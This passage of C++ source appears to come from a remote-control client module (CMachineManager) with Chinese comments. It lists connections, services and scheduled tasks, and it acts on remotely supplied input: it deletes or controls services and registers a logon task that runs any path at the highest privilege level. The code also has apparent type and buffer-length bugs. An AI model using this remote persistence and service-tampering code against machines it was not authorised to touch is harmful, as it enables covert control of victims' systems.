lstrcpy(strState, _T("已关闭"));
|
||
break;
|
||
case MIB_TCP_STATE_LISTEN:
|
||
lstrcpy(strState, _T("监听"));
|
||
break;
|
||
case MIB_TCP_STATE_SYN_SENT:
|
||
lstrcpy(strState, _T("SYN_发送"));
|
||
break;
|
||
case MIB_TCP_STATE_SYN_RCVD:
|
||
lstrcpy(strState, _T("SYN_接收"));
|
||
break;
|
||
case MIB_TCP_STATE_ESTAB:
|
||
lstrcpy(strState, _T("连接"));
|
||
break;
|
||
case MIB_TCP_STATE_FIN_WAIT1:
|
||
lstrcpy(strState, _T("FIN_WAIT1"));
|
||
break;
|
||
case MIB_TCP_STATE_FIN_WAIT2:
|
||
lstrcpy(strState, _T("FIN_WAIT2"));
|
||
break;
|
||
case MIB_TCP_STATE_CLOSE_WAIT:
|
||
lstrcpy(strState, _T("CLOSE_WAIT"));
|
||
break;
|
||
case MIB_TCP_STATE_CLOSING:
|
||
lstrcpy(strState, _T("正在关闭"));
|
||
break;
|
||
case MIB_TCP_STATE_LAST_ACK:
|
||
lstrcpy(strState, _T("LAST_ACK"));
|
||
break;
|
||
case MIB_TCP_STATE_TIME_WAIT:
|
||
lstrcpy(strState, _T("TIME_WAIT"));
|
||
break;
|
||
case MIB_TCP_STATE_DELETE_TCB:
|
||
lstrcpy(strState, _T("删除"));
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
// 本地IP地址
|
||
inadLocal.s_addr = pTcpExTable->table[i].dwLocalAddr;
|
||
|
||
// 远程端口
|
||
if (lstrcmp(strState, _T("监听")) != 0) {
|
||
dwRemotePort = pTcpExTable->table[i].dwRemotePort;
|
||
} else
|
||
dwRemotePort = 0;
|
||
|
||
// 远程IP地址
|
||
inadRemote.s_addr = pTcpExTable->table[i].dwRemoteAddr;
|
||
|
||
temp = char2wchar_t(inet_ntoa(inadLocal));
|
||
wsprintf(szLocalAddr, _T("%s:%u"), temp,
|
||
ntohs((unsigned short)(0x0000FFFF & pTcpExTable->table[i].dwLocalPort)));
|
||
SAFE_DELETE_AR(temp);
|
||
temp = char2wchar_t(inet_ntoa(inadRemote));
|
||
wsprintf(szRemoteAddr, _T("%s:%u"), temp,
|
||
ntohs((unsigned short)(0x0000FFFF & dwRemotePort)));
|
||
SAFE_DELETE_AR(temp);
|
||
// 打印出此入口的信息
|
||
char strProcessName[100] = { 0 };
|
||
const char* strType = _T("[TCP]");
|
||
lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpExTable->table[i].dwProcessId, szProcessName));
|
||
|
||
dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) +
|
||
lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) *
|
||
sizeof(char) + 12;
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strProcessName) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, &pTcpExTable->table[i].dwProcessId, sizeof(DWORD) + 2);
|
||
dwOffset += sizeof(DWORD) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strType) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strState) * sizeof(char) + 2;
|
||
}
|
||
|
||
// 打印UDP监听表信息
|
||
for (DWORD i = 0; i < pUdpExTable->dwNumEntries; ++i) {
|
||
// 本地IP地址
|
||
inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr;
|
||
temp = char2wchar_t(inet_ntoa(inadLocal));
|
||
wsprintf(szLocalAddr, _T("%s:%u"), temp,
|
||
ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort)));
|
||
SAFE_DELETE_AR(temp);
|
||
// 打印出此入口的信息
|
||
char strProcessName[100] = { 0 };
|
||
const char* strType = _T("[UDP]");
|
||
const char* szRemoteAddr = _T("*.*.*.*:*");
|
||
const char* szUDPState = _T(" ");
|
||
lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName));
|
||
|
||
dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) +
|
||
lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) *
|
||
sizeof(char) + 12;
|
||
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strProcessName) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, &pUdpExTable->table[i].dwProcessId, sizeof(DWORD) + 2);
|
||
dwOffset += sizeof(DWORD) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strType) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szUDPState, lstrlen(szUDPState) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szUDPState) * sizeof(char) + 2;
|
||
}
|
||
::CloseHandle(hProcessSnap);
|
||
::LocalFree(pTcpExTable);
|
||
::LocalFree(pUdpExTable);
|
||
::FreeLibrary(hModule);
|
||
} else {
|
||
char szLocalAddr[128];
|
||
char szRemoteAddr[128];
|
||
char szProcessName[128];
|
||
in_addr inadLocal, inadRemote;
|
||
char strState[128];
|
||
DWORD dwRemotePort = 0;
|
||
|
||
PMIB_TCPEXTABLE_VISTA pTcpTable_Vista;
|
||
_InternalGetTcpTable2 pGetTcpTable = (_InternalGetTcpTable2)GetProcAddress(hModule, "InternalGetTcpTable2");
|
||
if (pGetTcpTable == NULL)
|
||
return 0;
|
||
|
||
if (pGetTcpTable(&pTcpTable_Vista, GetProcessHeap(), 1))
|
||
return 0;
|
||
|
||
// 给系统内的所有进程拍一个快照
|
||
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||
return NULL;
|
||
}
|
||
|
||
for (UINT i = 0; i < pTcpTable_Vista->dwNumEntries; i++) {
|
||
// 状态
|
||
switch (pTcpTable_Vista->table[i].dwState) {
|
||
case MIB_TCP_STATE_CLOSED:
|
||
lstrcpy(strState, _T("已关闭"));
|
||
break;
|
||
case MIB_TCP_STATE_LISTEN:
|
||
lstrcpy(strState, _T("监听"));
|
||
break;
|
||
case MIB_TCP_STATE_SYN_SENT:
|
||
lstrcpy(strState, _T("SYN_发送"));
|
||
break;
|
||
case MIB_TCP_STATE_SYN_RCVD:
|
||
lstrcpy(strState, _T("SYN_接收"));
|
||
break;
|
||
case MIB_TCP_STATE_ESTAB:
|
||
lstrcpy(strState, _T("连接"));
|
||
break;
|
||
case MIB_TCP_STATE_FIN_WAIT1:
|
||
lstrcpy(strState, _T("FIN_WAIT1"));
|
||
break;
|
||
case MIB_TCP_STATE_FIN_WAIT2:
|
||
lstrcpy(strState, _T("FIN_WAIT2"));
|
||
break;
|
||
case MIB_TCP_STATE_CLOSE_WAIT:
|
||
lstrcpy(strState, _T("CLOSE_WAIT"));
|
||
break;
|
||
case MIB_TCP_STATE_CLOSING:
|
||
lstrcpy(strState, _T("正在关闭"));
|
||
break;
|
||
case MIB_TCP_STATE_LAST_ACK:
|
||
lstrcpy(strState, _T("LAST_ACK"));
|
||
break;
|
||
case MIB_TCP_STATE_TIME_WAIT:
|
||
lstrcpy(strState, _T("TIME_WAIT"));
|
||
break;
|
||
case MIB_TCP_STATE_DELETE_TCB:
|
||
lstrcpy(strState, _T("删除"));
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
// 本地IP地址
|
||
inadLocal.s_addr = pTcpTable_Vista->table[i].dwLocalAddr;
|
||
|
||
// 远程端口
|
||
if (lstrcmp(strState, _T("监听")) != 0) {
|
||
dwRemotePort = pTcpTable_Vista->table[i].dwRemotePort;
|
||
} else
|
||
dwRemotePort = 0;
|
||
|
||
// 远程IP地址
|
||
inadRemote.s_addr = pTcpTable_Vista->table[i].dwRemoteAddr;
|
||
|
||
temp = char2wchar_t(inet_ntoa(inadLocal));
|
||
wsprintf(szLocalAddr, _T("%s:%u"), temp,
|
||
ntohs((unsigned short)(0x0000FFFF & pTcpTable_Vista->table[i].dwLocalPort)));
|
||
SAFE_DELETE_AR(temp);
|
||
temp = char2wchar_t(inet_ntoa(inadRemote));
|
||
wsprintf(szRemoteAddr, _T("%s:%u"), temp,
|
||
ntohs((unsigned short)(0x0000FFFF & dwRemotePort)));
|
||
SAFE_DELETE_AR(temp);
|
||
|
||
// 打印出此入口的信息
|
||
char strProcessName[100] = { 0 };
|
||
const char* strType = _T("[TCP]");
|
||
lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpTable_Vista->table[i].dwProcessId, szProcessName));
|
||
|
||
dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) +
|
||
lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) *
|
||
sizeof(char) + 12;
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strProcessName) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, &pTcpTable_Vista->table[i].dwProcessId, sizeof(DWORD) + 2);
|
||
dwOffset += sizeof(DWORD) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strType) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strState) * sizeof(char) + 2;
|
||
}
|
||
|
||
PMIB_UDPEXTABLE pUdpExTable = NULL;
|
||
// 表明为 Vista 或者 7 操作系统
|
||
PFNInternalGetUdpTableWithOwnerPid pInternalGetUdpTableWithOwnerPid;
|
||
pInternalGetUdpTableWithOwnerPid =
|
||
(PFNInternalGetUdpTableWithOwnerPid)GetProcAddress(hModule, "InternalGetUdpTableWithOwnerPid");
|
||
if (pInternalGetUdpTableWithOwnerPid != NULL) {
|
||
if (pInternalGetUdpTableWithOwnerPid(&pUdpExTable, GetProcessHeap(), 1)) {
|
||
if (pUdpExTable) {
|
||
HeapFree(GetProcessHeap(), 0, pUdpExTable);
|
||
}
|
||
|
||
FreeLibrary(hModule);
|
||
hModule = NULL;
|
||
|
||
return 0;
|
||
}
|
||
|
||
// 打印UDP监听表信息
|
||
for (DWORD i = 0; i < pUdpExTable->dwNumEntries; ++i) {
|
||
// 本地IP地址
|
||
inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr;
|
||
temp = char2wchar_t(inet_ntoa(inadLocal));
|
||
wsprintf(szLocalAddr, _T("%s:%u"), temp,
|
||
ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort)));
|
||
SAFE_DELETE_AR(temp);
|
||
|
||
// 打印出此入口的信息
|
||
char strProcessName[100] = { 0 };
|
||
const char* strType = _T("[UDP]");
|
||
const char* szRemoteAddr = _T("*.*.*.*:*");
|
||
const char* szUDPState = _T(" ");
|
||
lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName));
|
||
|
||
dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) +
|
||
lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) *
|
||
sizeof(char) + 12;
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strProcessName) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, &pUdpExTable->table[i].dwProcessId, sizeof(DWORD) + 2);
|
||
dwOffset += sizeof(DWORD) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strType) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, szUDPState, lstrlen(szUDPState) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(szUDPState) * sizeof(char) + 2;
|
||
}
|
||
}
|
||
}
|
||
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
return lpBuffer;
|
||
}
|
||
|
||
// 将进程ID号(PID)转化为进程名称
|
||
char* CMachineManager::ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName)
|
||
{
|
||
PROCESSENTRY32 processEntry;
|
||
processEntry.dwSize = sizeof(processEntry);
|
||
// 找不到的话,默认进程名为“???”
|
||
lstrcpy(ProcessName, _T("???"));
|
||
if (!::Process32First(hProcessSnap, &processEntry))
|
||
return ProcessName;
|
||
do {
|
||
if (processEntry.th32ProcessID == ProcessId) { // 就是这个进程
|
||
lstrcpy(ProcessName, processEntry.szExeFile);
|
||
break;
|
||
}
|
||
} while (::Process32Next(hProcessSnap, &processEntry));
|
||
return ProcessName;
|
||
}
|
||
|
||
|
||
wchar_t* CMachineManager::char2wchar_t(char* cstr)
|
||
{
|
||
int len = MultiByteToWideChar(CP_ACP, 0, cstr, -1, NULL, 0);
|
||
wchar_t* wstr = new wchar_t[len];
|
||
memset(wstr, 0, len * sizeof(wchar_t));
|
||
MultiByteToWideChar(CP_ACP, 0, cstr, -1, wstr, len);
|
||
return wstr;
|
||
}
|
||
|
||
|
||
BOOL CMachineManager::EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable)
|
||
{
|
||
HANDLE hToken;
|
||
TOKEN_PRIVILEGES TokenPrivileges;
|
||
|
||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||
return FALSE;
|
||
|
||
TokenPrivileges.PrivilegeCount = 1;
|
||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||
LookupPrivilegeValue(NULL, lpPrivilegeName, &TokenPrivileges.Privileges[0].Luid);
|
||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||
if (GetLastError() != ERROR_SUCCESS) {
|
||
CloseHandle(hToken);
|
||
return FALSE;
|
||
}
|
||
CloseHandle(hToken);
|
||
return TRUE;
|
||
}
|
||
|
||
void CMachineManager::DeleteService(LPBYTE lpBuffer, UINT nSize)
|
||
{
|
||
EnablePrivilege(SE_DEBUG_NAME, TRUE);
|
||
SERVICE_STATUS status;
|
||
|
||
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||
SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS);
|
||
|
||
DWORD _err = GetLastError();
|
||
BOOL isSuccess = QueryServiceStatus(service, &status);
|
||
if (status.dwCurrentState != SERVICE_STOPPED) {
|
||
isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status);
|
||
}
|
||
isSuccess = ::DeleteService(service);
|
||
CloseServiceHandle(service);
|
||
CloseServiceHandle(scm);
|
||
|
||
// 稍稍Sleep下,防止出错
|
||
Sleep(100);
|
||
SendServicesList(m_dwServiceType);
|
||
EnablePrivilege(SE_DEBUG_NAME, FALSE);
|
||
}
|
||
|
||
// 启动/停止服务
|
||
void CMachineManager::MyControlService(LPBYTE lpBuffer, UINT nType)
|
||
{
|
||
EnablePrivilege(SE_DEBUG_NAME, TRUE);
|
||
SERVICE_STATUS status;
|
||
|
||
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); // 打开服务管理对象
|
||
|
||
SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); // 打开www服务
|
||
|
||
BOOL isSuccess = QueryServiceStatus(service, &status);
|
||
|
||
switch (nType) {
|
||
case 0:
|
||
if (status.dwCurrentState == SERVICE_STOPPED) { //服务停止状态 就启动服务
|
||
isSuccess = StartService(service, NULL, NULL);
|
||
}
|
||
break;
|
||
case 1:
|
||
if (status.dwCurrentState != SERVICE_STOPPED) {
|
||
isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status);
|
||
}
|
||
break;
|
||
case 2:
|
||
if (status.dwCurrentState == SERVICE_RUNNING) {
|
||
isSuccess = ControlService(service, SERVICE_CONTROL_PAUSE, &status);
|
||
}
|
||
break;
|
||
case 3:
|
||
if (status.dwCurrentState == SERVICE_PAUSED) {
|
||
isSuccess = ControlService(service, SERVICE_CONTROL_CONTINUE, &status);
|
||
}
|
||
break;
|
||
}
|
||
|
||
CloseServiceHandle(service);
|
||
CloseServiceHandle(scm);
|
||
|
||
// 稍稍Sleep下,防止出错
|
||
Sleep(100);
|
||
SendServicesList(m_dwServiceType);
|
||
EnablePrivilege(SE_DEBUG_NAME, FALSE);
|
||
}
|
||
|
||
PBYTE CMachineManager::GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset)
|
||
{
|
||
IRegisteredTaskCollection* pTaskCollection = NULL; // 所有任务集合
|
||
LONG numTasks = 0; // 任务个数
|
||
|
||
//获取所有任务
|
||
HRESULT hr = pFolder->GetTasks(TASK_ENUM_HIDDEN, &pTaskCollection);
|
||
|
||
if (FAILED(hr)) {
|
||
return NULL;
|
||
}
|
||
|
||
//获取任务个数
|
||
hr = pTaskCollection->get_Count(&numTasks);
|
||
if (numTasks == 0) {
|
||
pTaskCollection->Release();
|
||
return NULL;
|
||
}
|
||
|
||
//开始遍历任务
|
||
for (LONG i = 0; i < numTasks; i++) {
|
||
IRegisteredTask* pRegisteredTask = NULL;
|
||
hr = pTaskCollection->get_Item(_variant_t(i + 1), &pRegisteredTask); //下标是从1开始的
|
||
if (SUCCEEDED(hr)) {
|
||
ITaskDefinition* pDefinition = NULL;
|
||
BSTR taskName = NULL;
|
||
BSTR path = NULL;
|
||
BSTR exepath = NULL;
|
||
DATE LastTime = 0;
|
||
DATE NextTime = 0;
|
||
const char* status = NULL;
|
||
TASK_STATE taskState = TASK_STATE_UNKNOWN;
|
||
|
||
pRegisteredTask->get_Name(&taskName);
|
||
pRegisteredTask->get_Path(&path);
|
||
pRegisteredTask->get_LastRunTime(&LastTime);
|
||
pRegisteredTask->get_NextRunTime(&NextTime);
|
||
pRegisteredTask->get_State(&taskState);
|
||
|
||
pRegisteredTask->get_Definition(&pDefinition);
|
||
if (pDefinition) {
|
||
GetProgramPath(pDefinition, &exepath);
|
||
}
|
||
|
||
switch (taskState) {
|
||
case TASK_STATE_UNKNOWN:
|
||
status = _T("未知状态");
|
||
break;
|
||
case TASK_STATE_DISABLED:
|
||
status = _T("已禁用");
|
||
break;
|
||
case TASK_STATE_QUEUED:
|
||
status = _T("排队中");
|
||
break;
|
||
case TASK_STATE_READY:
|
||
status = _T("已准备");
|
||
break;
|
||
case TASK_STATE_RUNNING:
|
||
status = _T("运行中");
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
//保存数据到buff中
|
||
SaveData(BSTRToUTF8(taskName), BSTRToUTF8(path), BSTRToUTF8(exepath), status,
|
||
LastTime, NextTime, data, offset);
|
||
|
||
if (path)
|
||
SysFreeString(path);
|
||
if (taskName)
|
||
SysFreeString(taskName);
|
||
if (exepath)
|
||
SysFreeString(exepath);
|
||
if (pRegisteredTask)
|
||
pRegisteredTask->Release();
|
||
}
|
||
}
|
||
pTaskCollection->Release();
|
||
return NULL;
|
||
}
|
||
|
||
PBYTE CMachineManager::GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset)
|
||
{
|
||
ITaskFolderCollection* pFolders = NULL; // 子文件夹集合
|
||
LONG Count = 0; // 子文件夹个数
|
||
|
||
HRESULT hr = pFolder->GetFolders(0, &pFolders);
|
||
if (FAILED(hr)) {
|
||
return 0;
|
||
}
|
||
|
||
//获取文件夹个数
|
||
hr = pFolders->get_Count(&Count);
|
||
if (FAILED(hr)) {
|
||
return 0;
|
||
}
|
||
|
||
if (Count == 0) {
|
||
pFolders->Release();
|
||
//获取文件夹下的任务
|
||
GetTaskAll(pFolder, data, offset);
|
||
} else {
|
||
//先遍历目录下的任务
|
||
GetTaskAll(pFolder, data, offset);
|
||
|
||
//递归遍历文件夹
|
||
for (int i = 0; i < Count; i++) {
|
||
ITaskFolder* ispFolder = NULL;
|
||
hr = pFolders->get_Item(variant_t(i + 1), &ispFolder);
|
||
if (FAILED(hr)) {
|
||
continue;
|
||
}
|
||
GetFolderAll(ispFolder, data, offset);
|
||
}
|
||
|
||
pFolders->Release();
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
ITaskService* GetTaskService() {
|
||
// 初始化com库
|
||
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||
if (FAILED(hr)) {
|
||
return NULL;
|
||
}
|
||
// 设置安全等级
|
||
hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE,
|
||
NULL, 0, NULL);
|
||
|
||
if (FAILED(hr) && RPC_E_TOO_LATE != hr) {
|
||
CoUninitialize();
|
||
return NULL;
|
||
}
|
||
// 实例化计划任务
|
||
ITaskService* pService = NULL;
|
||
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
|
||
if (FAILED(hr)) {
|
||
CoUninitialize();
|
||
return NULL;
|
||
}
|
||
// 连接计划任务
|
||
hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
|
||
if (FAILED(hr)) {
|
||
CoUninitialize();
|
||
return NULL;
|
||
}
|
||
return pService;
|
||
}
|
||
|
||
PBYTE CMachineManager::GetRoot()
|
||
{
|
||
auto pService = GetTaskService();
|
||
if (!pService) {
|
||
BYTE bToken = TOKEN_MACHINE_TASKLIST;
|
||
Send(&bToken, 1);
|
||
return 0;
|
||
}
|
||
|
||
ITaskFolder* pRootFolder = NULL;
|
||
HRESULT hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
|
||
if (FAILED(hr)) {
|
||
pService->Release();
|
||
CoUninitialize();
|
||
return 0;
|
||
}
|
||
PBYTE lpList = (BYTE*)LocalAlloc(LPTR, 32*1024);
|
||
if (lpList) {
|
||
lpList[0] = TOKEN_MACHINE_TASKLIST;
|
||
int offset = 1;
|
||
GetFolderAll(pRootFolder, lpList, offset);
|
||
Send((LPBYTE)lpList, (UINT)LocalSize(lpList));
|
||
LocalFree(lpList);
|
||
}
|
||
pRootFolder->Release();
|
||
pService->Release();
|
||
CoUninitialize();
|
||
|
||
return 0;
|
||
}
|
||
|
||
//创建
|
||
BOOL CMachineManager::CreateTask(LPBYTE lpBuffer)
|
||
{
|
||
auto pService = GetTaskService();
|
||
if (!pService) {
|
||
return FALSE;
|
||
}
|
||
char* rootpath = (char*)lpBuffer;
|
||
char* taskname = rootpath + lstrlen(rootpath) + 1;
|
||
char* path = taskname + lstrlen(taskname) + 1;
|
||
char* Author = path + lstrlen(path) + 1;
|
||
char* Description = Author + lstrlen(Author) + 1;
|
||
|
||
BOOL ret = FALSE;
|
||
ITaskFolder* pRootFolder = NULL;
|
||
ITaskDefinition* pDefinition = NULL;
|
||
IRegistrationInfo* pRegistrationInfo = NULL;
|
||
IPrincipal* pPrincipal = NULL;
|
||
ITaskSettings* pSettings = NULL;
|
||
ITriggerCollection* pTriggers = NULL;
|
||
IActionCollection* pActions = NULL;
|
||
IExecAction* pExecAction = NULL;
|
||
IRegisteredTask* pRegisteredTask = NULL;
|
||
// 选择计划任务注册在哪个文件夹下
|
||
HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder);
|
||
if (SUCCEEDED(hr)) {
|
||
// 创建任务定义对象
|
||
hr = pService->NewTask(0, &pDefinition);
|
||
if (SUCCEEDED(hr)) {
|
||
// 获取注册信息的实例用来填写注册信息
|
||
hr = pDefinition->get_RegistrationInfo(&pRegistrationInfo);
|
||
// 获取设置主体信息的实例
|
||
HRESULT hr2 = pDefinition->get_Principal(&pPrincipal);
|
||
// 设置任务相关信息
|
||
HRESULT hr3 = pDefinition->get_Settings(&pSettings);
|
||
// 设置触发器
|
||
HRESULT hr4 = pDefinition->get_Triggers(&pTriggers);
|
||
//设置执行操作
|
||
HRESULT hr5 = pDefinition->get_Actions(&pActions);
|
||
|
||
if (SUCCEEDED(hr) && SUCCEEDED(hr2) && SUCCEEDED(hr3) && SUCCEEDED(hr4) && SUCCEEDED(hr5)) {
|
||
//作者
|
||
pRegistrationInfo->put_Author(CharToBSTR(Author));
|
||
//描述
|
||
pRegistrationInfo->put_Description(CharToBSTR(Description));
|
||
pRegistrationInfo->Release();
|
||
|
||
// 设置登陆类型 (用户必须已经登录。 该任务将仅在现有的交互式会话中运行。 )
|
||
pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
|
||
// 设置运行权限 (任务将以最高权限运行。 )
|
||
pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
|
||
//设置被结束后自动延迟10分钟运行
|
||
pSettings->put_StartWhenAvailable(VARIANT_TRUE);
|
||
//创建触发器
|
||
ITrigger* pTrigger;
|
||
hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
|
||
|
||
IAction* pAction;
|
||
//设置执行
|
||
pActions->Create(TASK_ACTION_EXEC, &pAction);
|
||
pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
|
||
//设置程序路径等信息
|
||
pExecAction->put_Path(CharToBSTR(path));
|
||
//注册
|
||
hr = pRootFolder->RegisterTaskDefinition(CharToBSTR(taskname), pDefinition, TASK_CREATE_OR_UPDATE,
|
||
_variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pRegisteredTask);
|
||
if (SUCCEEDED(hr)) {
|
||
ret = TRUE;
|
||
pRegisteredTask->Release();
|
||
}
|
||
|
||
if (pAction)
|
||
pAction->Release();
|
||
|
||
if (pTrigger)
|
||
pTrigger->Release();
|
||
}
|
||
if (pPrincipal)
|
||
pPrincipal->Release();
|
||
|
||
if (pSettings)
|
||
pSettings->Release();
|
||
|
||
if (pTriggers)
|
||
pTriggers->Release();
|
||
|
||
if (pActions)
|
||
pActions->Release();
|
||
pDefinition->Release();
|
||
}
|
||
pRootFolder->Release();
|
||
}
|
||
pService->Release();
|
||
CoUninitialize();
|
||
|
||
return ret;
|
||
}
|
||
|
||
// 执行 或 停止
|
||
BOOL CMachineManager::RunOrStopTask(LPBYTE lpBuffer, BOOL Action)
|
||
{
|
||
auto pService = GetTaskService();
|
||
if (!pService) {
|
||
return FALSE;
|
||
}
|
||
char* rootpath = (char*)lpBuffer;
|
||
